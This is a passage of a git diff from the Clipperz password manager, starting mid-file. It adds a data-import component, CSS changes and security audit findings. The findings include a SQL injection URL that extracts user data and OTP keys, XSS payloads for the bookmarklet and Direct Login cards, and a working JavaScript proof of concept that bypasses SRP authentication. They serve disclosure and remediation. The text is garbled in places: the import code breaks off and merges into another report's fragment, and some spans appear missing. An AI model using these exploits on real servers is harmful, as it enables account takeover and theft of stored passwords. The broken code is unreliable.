Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ ]), ]), React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account") - //~ React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error) ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js new file mode 100644 index 0000000..a2d6717 --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js @@ -0,0 +1,409 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures'); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({ + + getInitialState: function() { + return { + 'currentStep': 'input', + 'importData': {'input': ""}, + 'recordsToImport': null + }; + }, + + goToStep: function(aStep) { + this.setState({'currentStep': aStep}); + }, + + resetState: function() { + this.replaceState( this.getInitialState() ); + }, + + //========================================================================= + + addImportIds: function (someJson) { + var count; + + for (count=0; count < someJson.length; count++) { + someJson[count]['_importId'] = count; + } + }, + + toggleRecordToImport: function(record) { + var newRecordsToImport; + var recordPosition; + + newRecordsToImport = this.state.recordsToImport; + recordPosition = newRecordsToImport.indexOf(record._importId); + + if (recordPosition === -1) { + newRecordsToImport.push(record._importId); + } else { + newRecordsToImport.splice(recordPosition,1); + } + + this.setState({'recordsToImport': newRecordsToImport}); + }, + + isRecordToImport: function(record) { + return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false; + }, + + extractJsonFromClipperzExport: function(someHtml) { + var temporaryTextarea; + var regexMatch; + var result; + + // Should move the regex to global? + var re = new RegExp('.*' type='password'> + + +Affected HTML: +", +"value": "k4n0n3!?"}]}, +"version": "0.2.3"} + +Affected Code: +innerHTML+="";} + +... + +sj=function(o){var +objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return +o+"";}else if(o===null){return"null";} if(objtype=="string"){return +rs(o);} var +me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var +res=[];for(var i=0;ipog_query = "select * from `onetimepassword` "; +[...] +$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" : +"desc")." $sqlLimit"; +$cursor = Database::Reader($this->pog_query, $connection); +[...] +} + +A vulnerable call of this method can be found in the function +RefreshTree() of the file setup/rpc.php. Its first parameter is passed +to the $sortBy parameter and the two last parameters are passed +concatenated to the $limit parameter of the vulnerable GetList() method. + +function RefreshTree($objectName, $root, $offset = '', $limit = '') { + $sqlLimit = "$offset, $limit"; +$instanceList = $instance->GetList( +array(array(strtolower($objectName)."Id",">",0)), + strtolower($objectName)."Id", +false, +$sqlLimit +); +} + +The function RefreshTree() is called with unsanitized parameters when +the GET parameter action is set to Refresh. + +$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : ''; +$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : ''; +$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : ''; +$action = $_GET['action']; +switch($action) { +case 'Refresh': + RefreshTree($objectName, $root, $offset, $limit); +} + +An attacker is able to extract arbitrary data from the database, +including user data and OTP keys. + +/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union +select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9 +from clipperz.onetimepassword + +The construction of the WHERE clause from the parameter $fcv_array in +the GetList() method is also potentially affected by SQL injection. +Here, expected numeric values are added to the SQL query without +escaping or type-casting. + +if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes']) +&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] != +'NUMERIC' +&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] != +'SET') { +} +else { +value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] : +"'".$fcv_array[$i][2]."'"; +$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value; +} + +Expected numeric values should be converted to integer before embedding +them into the SQL query. Otherwise, an attacker is able to break out of +the single quotes and inject her own SQL syntax. For more security it is +highly recommended to use prepared statements, as done in the Python and +Java backend. diff --git a/doc/Vulnerabilities/CLP-01-014.txt b/doc/Vulnerabilities/CLP-01-014.txt new file mode 100644 index 0000000..4c425b3 --- /dev/null +++ b/doc/Vulnerabilities/CLP-01-014.txt @@ -0,0 +1,69 @@ +CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical) + +Caused by missing output filtering, an attacker can abuse the +Bookmarklet in combination with the creation of a new card of type +?Direct Login? to persistently infect a Clipperz account and get full +and transparent access to all data stored in the account including +passwords, keystrokes and other sensitive data. + +Steps to Reproduce: +Navigate to a maliciously prepared Website +Use the Clipperz Bookmarklet +Copy the generated JSON to create a Card +Navigate to the Clipperz application +Create a new card of type ?Direct Login? +Paste the content and save (First XSS is triggerd) +Create the card (Second XSS is triggered) + +Anytime the affected user navigates to the malicious card, the injected +JavaScript is executed. This thereby effectively ?trojanizes? the entire +Clipperz account and gives an attacker access to any of the stored cards +and related passwords in plaintext. + +Example Markup for malicious page: + +
+ + + +
+ +Resulting JSON: +{"page": {"title": ""}, +"form": {"attributes": {"action": "http://attacked/", +"method": null}, +"inputs": [{"type": "text", +"name": "username", +"value": "root"}, +{"type": "password", +"name": "password", +"value": ""}, +{"type": "text", +"name": "\">", +"value": "bla"}]}, +"version": "0.2.3"} + +Affected Markup in Clipperz application: +"><img src=x +onerror=alert(domain)>
">
+ +It is highly recommended to escape and filter any output and consider +the pages to pull login data from to be an adversary as well. Especially +the content of the name field and other attributes of form elements +should not be considered trusted as they can contain malicious data - +similar to the form element?s value. All special HTML characters need to +be converted into their corresponding HTML entities before displaying +them to the user. diff --git a/doc/Vulnerabilities/CLP-01-015.txt b/doc/Vulnerabilities/CLP-01-015.txt new file mode 100644 index 0000000..a9ddfe5 --- /dev/null +++ b/doc/Vulnerabilities/CLP-01-015.txt @@ -0,0 +1,62 @@ +CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical) + +Similar to the issue described in CLP-01-014, a persistent XSS can be +triggered using the Direct Login feature. Clipperz attempts to load the +favicon of the linked website and display its URL inside the src +attribute of an IMG element. An attacker can cause the bookmarklet to +deliver a maliciously prepared URL that, in conjunction with the favicon +display, leads to an XSS attack. + +Note that this attack is capable of executing arbitrary attacker +controlled JavaScript right after the victim logged in, because the +vulnerable element is being shown on the index page. It is further +possible to create a malicious page that will fill the bookmarklet?s +textarea with arbitrary content. The victim would have no way to detect +that something was injected and will willingly copy & paste it into the +clippers application?s card creator form. + +Steps to reproduce: +Copy malicious JSON into card editor for ?Direct Login? +Create the card +Logout +Log in again +Attacker?s JavaScript executes + +Example JSON to inject the payload: +{"page": {"title": ""}, +"form": {"attributes": {"action": "javascript://\"onload=alert(1)//", +"method": null}, +"inputs": [{"type": "text", +"name": "username", +"value": ""}, +{"type": "password", +"name": "password", +"value": ""}]}, +"version": "0.2.3"} + +Affected Markup in Clipperz application: +adadadsadsashow
  • unnamed recordshow + +It must be ensured that any form of user controlled data is being +filtered and encoded properly. It has shown, that the JSON processing +for direct logins is a particularly vulnerable element of the Clipperz +application and deserves special attention. We believe, that the +bookmarklet is easily exposed to injection attacks and that the content +of the textarea for direct login data is a dangerous and easy to exploit +attack vector and needs to be treated as such by the Clipperz +application upon processing its data. diff --git a/doc/Vulnerabilities/CLP-01-016.txt b/doc/Vulnerabilities/CLP-01-016.txt new file mode 100644 index 0000000..acfd3f2 --- /dev/null +++ b/doc/Vulnerabilities/CLP-01-016.txt @@ -0,0 +1,20 @@ +CLP-01-016 SRP implementation vulnerable to known attacks (High) + +The Clipperz application implements the Secure Remote Password protocol +for authentication. The implementation adheres to the original protocol +specification from 1998 and is not standardized. The third revision +(SRP-3) is described in RFC2459, and has since revised several times to +prevent against attacks. Two attacks, ?two-for-one? guessing attack and +message ordering attack, are detailed in the paper ?SRP-6 Improvements +and Refinements of the Secure Remote Password Protocol?. The latest +revision of the protocol SRP-6 is being standardized in IEEE P1363 and +ISO/IEC 11770-4. + +Specifically, the implementation is missing the k value introduced in +SRP-6 to prevent the ?two-for-one? attack. The k value is used on the +server side to compute B=kv+gb and on the client side to compute +S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3 +optimized ordering, not the standard or optimized message ordering of +SRP-6, which was introduced to prevent a message ordering attack. Note +also that the computation of M1=H(A | B | K) does not adhere to +M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard. \ No newline at end of file diff --git a/doc/Vulnerabilities/CLP-01-017.txt b/doc/Vulnerabilities/CLP-01-017.txt new file mode 100644 index 0000000..c3a4cd1 --- /dev/null +++ b/doc/Vulnerabilities/CLP-01-017.txt @@ -0,0 +1,88 @@ +CLP-01-017 SRP Authentication Bypass (Critical) + +The Clipperz application implements the Secure Remote Password protocol +for authentication. The specification explicitly states that the +parameter A provided by the client must not be zero. The Clipperz +implementation omits this check, which makes password verification +trivial to bypass. + +According to the SRP-6 specification, the shared secret is on the server +side calculated as (Avu)b where A is supplied by the client. If A is +zero the result is also zero, and the resulting shared key is H(0). The +corresponding proof can easily be calculated by the attacker as H(0 | B +| H(0)). The following JavaScript function can be run in the console +when on the Clipperz login page. While the page itself is not updated, +the resulting JSON response clearly indicates a successful login. + +SRP authentication bypass PoC: + +(function PoC(){ + function send(m,p){ + x=new XMLHttpRequest(); + x.open('post','/json',false); + x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); + x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p))); + return JSON.parse(x.responseText); + } + r=send('knock',{"requestType":"CONNECT"}); + + r=send('handshake',{"parameters": + {"message":"connect", + "version":"0.2", + "parameters": + +{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6", + "A":"0"}}, + "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]}); + + B=new Clipperz.Crypto.BigInt(r.result.B,16).asString(); + S=new Clipperz.ByteArray("0") + K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2); + M1=new Clipperz.ByteArray("0"+B+K) + M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2); + return send('handshake',{"parameters": + {"message":"credentialCheck", + "version":"0.2", + "parameters":{"M1":M1}}, + "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]}); +})() + +Example JSON response: + +{"result": + {"subscription": + {"fromDate":"Mon, 28 April 2014 13:20:56 UTC", + "features":["OFFLINE_COPY","LIST_CARDS"], + "toDate":"Mon, 01 January 4001 00:00:00 UTC", + "type":"EARLY_ADOPTER"}, + "loginInfo": + {"current": + {"operatingSystem":"LINUX", + "disconnectionType":"STILL_CONNECTED", + "browser":"FIREFOX", + "connectionType":"LOGIN", + "date":"Tue, 06 May 2014 03:09:28 UTC", + "country":"SE", + "ip":"83.248.183.26"}, + "latest": + {"operatingSystem":"LINUX", + "disconnectionType":"SESSION_EXPIRED", + "browser":"FIREFOX", + "connectionType":"LOGIN", + "date":"Tue, 06 May 2014 02:16:36 UTC", + "country":"SE", + "ip":"83.248.183.26"}}, + "connectionId": + "35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86", + "lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271", + "offlineCopyNeeded":true, + "M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"}, + "toll": + {"targetValue": + "2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5", + "requestType":"MESSAGE", + "cost":2} +} + +To mitigate the issue sufficiently, the server needs to verify that A +cannot be 0 so the attack cannot be carried out. \ No newline at end of file diff --git a/frontend/delta/css/clipperz.css b/frontend/delta/css/clipperz.css index 55ca318..5903f26 100644 --- a/frontend/delta/css/clipperz.css +++ b/frontend/delta/css/clipperz.css @@ -465,6 +465,21 @@ div.overlay { -ms-animation-delay: -0.0833s; -o-animation-delay: -0.0833s; animation-delay: -0.0833s; } + div.overlay .progressBar { + width: 100%; + background-color: #222; + height: 4px; + margin-top: 86px; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; } + div.overlay .progressBar .progress { + background-color: #999; + height: 4px; + display: block; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; } @-webkit-keyframes overlay-spin { from { @@ -835,7 +850,8 @@ html { -moz-flex: auto; -ms-flex: auto; flex: auto; - overflow: auto; } + overflow: auto; + -webkit-overflow-scrolling: touch; } #extraFeaturesPanel .extraFeatureIndex footer { -webkit-box-flex: none; -webkit-flex: none; @@ -853,6 +869,12 @@ html { width: 100%; height: 100%; background-color: black; } + #extraFeaturesPanel .extraFeatureContent .extraFeature { + height: 100%; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .content { + height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; } .container { height: 100%; @@ -1206,7 +1228,7 @@ div.dialogBox { z-index: 10; background-color: rgba(0, 0, 0, 0.5); } div.dialogBox .mask { - z-index: 12; } + z-index: 25; } div.dialogBox div.dialog { -webkit-box-flex: none; -webkit-flex: none; @@ -1346,7 +1368,7 @@ div.dialogBox { margin: 0px; } #loginPage { - overflow: scroll; + overflow: auto; -webkit-overflow-scrolling: touch; } #loginPage div.loginForm { display: -webkit-box; @@ -1983,20 +2005,24 @@ span.count { border-top: 1px solid white; } #extraFeaturesPanel .extraFeatureIndex > div > ul > li { border-bottom: 1px solid white; } - #extraFeaturesPanel .extraFeatureIndex > div > ul > li > ul { - padding-left: 10px; } + #extraFeaturesPanel .extraFeatureIndex > div > ul > li > h1 { + cursor: pointer; + font-size: 16pt; + padding: 10px; } #extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul { display: none; visibility: hidden; } #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li { padding: 10px; - padding-right: 0px; } + padding-left: 20px; + padding-right: 0px; + cursor: pointer; } + #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.selected { + background-color: #333; } #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div { padding: 4px; } - #extraFeaturesPanel .extraFeatureIndex > div ul li h1 { - cursor: pointer; - font-size: 16pt; - padding: 10px; } + #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy { + cursor: default; } #extraFeaturesPanel .extraFeatureIndex > div ul li h2 { font-weight: 300; font-size: 14pt; } @@ -2037,51 +2063,169 @@ span.count { #extraFeaturesPanel .extraFeatureContent { border-right: 1px solid #222; color: white; - /* IMPORT */ - /* /IMPORT */ } + /* + .changePassphraseForm { + label { + display: block; + } + + input { + display: block; + } + } + + .deleteAccountForm { + margin-top: 1em; + + label { + display: block; + } + + input { + display: inline-block; + margin-right: 1em; + margin-bottom: 1em; + } + + .confirmCheckbox { + display: inline-block; + } + } + */ } #extraFeaturesPanel .extraFeatureContent header { display: none; } - #extraFeaturesPanel .extraFeatureContent .changePassphraseForm label { - display: block; } - #extraFeaturesPanel .extraFeatureContent .changePassphraseForm input { - display: block; } - #extraFeaturesPanel .extraFeatureContent .deleteAccountForm { - margin-top: 1em; } - #extraFeaturesPanel .extraFeatureContent .deleteAccountForm label { - display: block; } - #extraFeaturesPanel .extraFeatureContent .deleteAccountForm input { + #extraFeaturesPanel .extraFeatureContent .extraFeature { + padding: 20px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature h1 { + font-size: 20pt; + padding-bottom: 20px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form label { + display: none; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form input { + display: block; + font-size: 18pt; + margin-bottom: 8px; + padding: 6px 10px; + border: 0px solid white; + width: 350px; + color: black; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid { + border: 0px solid #ff9900; + color: gray; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p { + display: -webkit-box; + display: -webkit-flex; + display: -moz-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-direction: normal; + -webkit-box-orient: horizontal; + -webkit-flex-direction: row; + -moz-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p input { + width: 30px; + -webkit-box-flex: auto; + -webkit-flex: auto; + -moz-box-flex: auto; + -moz-flex: auto; + -ms-flex: auto; + flex: auto; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p span { + -webkit-box-flex: auto; + -webkit-flex: auto; + -moz-box-flex: auto; + -moz-flex: auto; + -ms-flex: auto; + flex: auto; + font-size: 12pt; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form button { + font-family: "clipperz-font"; + color: white; + font-size: 14pt; + border: 0px; + margin-top: 20px; + padding: 6px 10px; + border: 1px solid white; + background-color: #ff9900; + -webkit-transition: background-color font-weight 0.2s linear; + -moz-transition: background-color font-weight 0.2s linear; + -o-transition: background-color font-weight 0.2s linear; + -ms-transition: background-color font-weight 0.2s linear; + transition: background-color font-weight 0.2s linear; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled { + font-weight: 100; + background-color: #c0c0c0; + cursor: default; } + #extraFeaturesPanel .extraFeatureContent .extraFeature ul { + color: white; } + #extraFeaturesPanel .extraFeatureContent .extraFeature ul li { + padding-bottom: 40px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature h3 { + font-size: 18pt; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description { + max-width: 500px; + padding: 10px 0px 20px 0px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description p { + font-size: 10pt; + margin-bottom: 7px; + line-height: 1.4em; + color: #bbb; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description p em { + text-decoration: underline; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .button { display: inline-block; - margin-right: 1em; - margin-bottom: 1em; } - #extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox { - display: inline-block; } - #extraFeaturesPanel .extraFeatureContent .importForm textarea { - display: block; + color: white; + background-color: #ff9900; + font-size: 14pt; + border: 1px solid white; + padding: 6px 10px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .button.disabled { + background-color: #c0c0c0; + cursor: default; } + #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li { + display: inline-block; + margin-right: 1em; } + #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.disabled { + color: gray; } + #extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.active { + text-decoration: underline; } + #extraFeaturesPanel .extraFeatureContent .dataImport .error { + margin: 1em 0; } + #extraFeaturesPanel .extraFeatureContent .dataImport textarea { width: 100%; - min-height: 400px; } - #extraFeaturesPanel .extraFeatureContent .jsonPreview { + min-height: 400px; + display: block; + margin: 1em 0; + border: 0; } + #extraFeaturesPanel .extraFeatureContent .dataImport .csvTable { + background: white; + margin: 1em 0; } + #extraFeaturesPanel .extraFeatureContent .dataImport .dropArea { + margin: 1em 0; + width: calc(100% - 6px); + text-align: center; + height: inherit; + line-height: 3em; + border: 3px dashed white; + background: black; } + #extraFeaturesPanel .extraFeatureContent .dataImport .button { + margin-right: 1em; } + #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview { width: 100%; height: 80%; overflow: auto; margin-top: 1em; } - #extraFeaturesPanel .extraFeatureContent .jsonPreview h3 { + #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview h3 { font-weight: bold; } - #extraFeaturesPanel .extraFeatureContent .jsonPreview ul { + #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul { margin-bottom: 1em; padding-left: 1em; } - #extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label { + #extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul li .label { font-weight: bold; } #extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg { visibility: hidden; } - #extraFeaturesPanel .extraFeatureContent form input:focus { - border: 2px solid #ff9900; } - #extraFeaturesPanel .extraFeatureContent form input.valid:focus { - border: 2px solid #1863a1; } - #extraFeaturesPanel .extraFeatureContent form input.invalid + .invalidMsg { - visibility: visible; } - #extraFeaturesPanel .extraFeatureContent form .invalidMsg::before { - font-family: serif; - content: "\26A0 \0000a0"; } .mainPage.narrow #extraFeaturesPanel .extraFeatureContent header { display: block; @@ -2191,7 +2335,7 @@ div.cardList ul { padding-right: 8px; } div.cardList.narrow { - overflow: scroll; + overflow: auto; -webkit-overflow-scrolling: touch; } div.cardList.narrow.loadingCard li.selected:after { color: white; @@ -2598,12 +2742,16 @@ div.dialog { -webkit-border-radius: 8px; -moz-border-radius: 8px; border-radius: 8px; + max-width: 70%; background-color: white; - padding: 30px; } + padding: 30px; + box-shadow: 4px 4px 6px 5px rgba(0, 0, 0, 0.3); } div.dialog h3.message { font-size: 18pt; font-weight: bold; - padding-bottom: 20px; } + padding-bottom: 20px; + white-space: pre-wrap; + word-wrap: break-word; } div.dialog div.answers div.button { -webkit-border-radius: 4; -moz-border-radius: 4; diff --git a/frontend/delta/css/clipperz.css.map b/frontend/delta/css/clipperz.css.map index ee2fdbb..95177eb 100644 --- a/frontend/delta/css/clipperz.css.map +++ b/frontend/delta/css/clipperz.css.map @@ -1,7 +1,7 @@ { "version": 3, -"mappings": "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